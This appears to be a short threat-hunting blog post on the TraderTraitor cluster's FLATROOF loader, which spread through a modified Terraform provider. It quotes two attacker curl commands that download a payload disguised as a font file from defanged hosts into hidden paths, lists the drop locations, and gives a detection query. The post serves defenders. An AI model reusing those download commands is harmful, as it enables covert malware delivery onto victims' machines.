424. Hunting for TraderTraitor's Loader

Hello everyone!

Today, we're taking a look at TraderTraitor. Yes, the very same cluster that has been linked to the successful attack on Binance.

According to a report by Zscaler ThreatLabz, in one of their campaigns, the attackers distributed a modified Terraform provider that downloaded a second-stage payload onto compromised systems - a cross-platform loader that we'll focus on today.

To host the malicious payload, the attackers leveraged legitimate services such as Dynamic DNS service, GitHub, and Vercel. The payload was disguised as a font file, for example, HiraginoSans-Regular.woff, and downloaded using cURL, as shown in the following examples:

curl -s -L -f -o /Users/admin/Library/com.apple.iTunesCloud/SystemUpdate.tmp hxxps://supportaru.serveftp[.]com/statics/cache/v11/HiraginoSans-Regular.woff

curl -s -L -f -o /Users/admin/Library/com.apple.iTunesCloud/SystemUpdate.tmp hxxps://raw.githubusercontent[.]com/bluearuhost/hospitalrun-frontend/refs/heads/main/public/fonts/version1//HiraginoSans-Regular.woff

In this case, our hunting query could focus on the potentially malicious use of cURL:

event_type: dnsreq*

AND

dns_rname: ("serveftp.com" OR "githubusercontent.com" OR "vercel.app")

AND

proc_file_path: *curl*

Depending on the operating system of the compromised device, the malicious payload, FLATROOF, was saved to one of the following locations:

$HOME/.config/git/update

$HOME/Library/com.apple.iTunesCloud/SystemUpdate

$HOME/AppData/Local/Microsoft/Edge/service.exe

Here, we can focus our hunt on the directories used to store the payload. Depending on the number of false positives, we can experiment with directory depth and narrow down the scope by limiting the search to specific systems.

See you soon!

Comments

Popular posts from this blog

343. Ransomware Gangs Abuse SystemSettingsAdminFlows to Evade Defenses

391. Hunting for TeamPCP's Stealer

388. Ransomware Gang Abuses FTK Imager for Defense Evasion